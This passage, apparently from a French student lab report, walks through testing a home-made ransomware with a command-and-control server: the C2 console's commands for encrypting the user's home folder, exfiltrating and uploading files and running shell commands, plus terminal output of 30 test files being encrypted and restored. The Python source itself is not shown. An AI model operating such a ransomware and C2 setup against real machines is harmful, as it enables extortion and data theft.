Lancement du serveur.

```
yassine@debian:~/Documents$ python3 c2_server.py
[*] SERVEUR C2 PRET - En attente de connexion...
```

Il est en attente du lancement côté malware, donc on le lance côté client.

```
yassine@debian:~/Documents$ python3 ransomware_client.py
```

La connexion est enfin lancée et accepté, on reçoit donc l'UID et la clé de la victime.

```
yassine@debian:~/Documents$ python3 c2_server.py
[*] SERVEUR C2 PRET - En attente de connexion...

[+] VICTIME CONNECTEE : UUID:26a74d52-a4bc-4aaa-9c19-9c0c1c42c3d2 | KEY:AWLQYBLMSNWBSEQD

--- COMMANDES DISPONIBLES ---
  ENCRYPT / DECRYPT : Cible tout le HOME de l'utilisateur
  GET <chemin>      : Exfiltrer un fichier
  SEND <chemin>     : Infiltrer un fichier
  <cmd systeme>     : ls, whoami, pwd, etc.
  exit              : Fermer la session
-----------------------------

C2 >>
```

On lance ainsi un test de chiffrement.

```
C2 >> ENCRYPT

[CLIENT]:
Termine (30 fichiers). Log: ~/.system_trace.log

C2 >>
```

On essaie d'accéder au fichier api_keys.env, et on voit bien qu'il est chiffré, et que son contenue est illisible.

```
yassine@debian:~/Documents/test_attaque$ ls -h
antivirus  Antivirus2  antivirus.gpg  api_keys.env  database_dump.sql  IPSSI-SQY  secret.txt  vpn_config.conf
yassine@debian:~/Documents/test_attaque$ cat api_keys.env

~#+     =0!2v'2#%jxee*3]

w4)/*3&023% #$}!/;vK
            />no}tMyassine@debian:~/Documents/test_attaque$
```

On test maintenant avec un déchiffrement

```
C2 >> DECRYPT

[CLIENT]:
Termine (30 fichiers). Log: ~/.system_trace.log

C2 >>
```

On voit bien qu'après le déchiffrement, le contenu du fichier est bien accessible.

```
yassine@debian:~/Documents/test_attaque$ ls -lh
total 32K
-rw-rw-r-- 1 yassine yassine  17 16 janv. 14:30 antivirus
-rw-rw-r-- 1 yassine yassine  17 16 janv. 14:30 Antivirus2
-rw-rw-r-- 1 yassine yassine  95 16 janv. 14:30 antivirus.gpg
-rw-rw-r-- 1 yassine yassine 111 16 janv. 14:31 api_keys.env
-rw-rw-r-- 1 yassine yassine 236 16 janv. 14:30 database_dump.sql
-rw-rw-r-- 1 yassine yassine 106 16 janv. 14:30 IPSSI-SQY
-rw-rw-r-- 1 yassine yassine  11 16 janv. 14:30 secret.txt
-rw-rw-r-- 1 yassine yassine 139 16 janv. 14:30 vpn_config.conf
yassine@debian:~/Documents/test_attaque$ cat api_keys.env
API_KEY_PAYMENT=pk_live_51KJhsdf9834sd
API_KEY_INTERNAL=sk_internal_88sd7fsd9
JWT_SECRET=superSecretJwtKey2025
yassine@debian:~/Documents/test_attaque$
```

Et là voici une petite visualisation du travail côté fichier client sur une interface de VisualStudio Code en utilisant le remote SSH.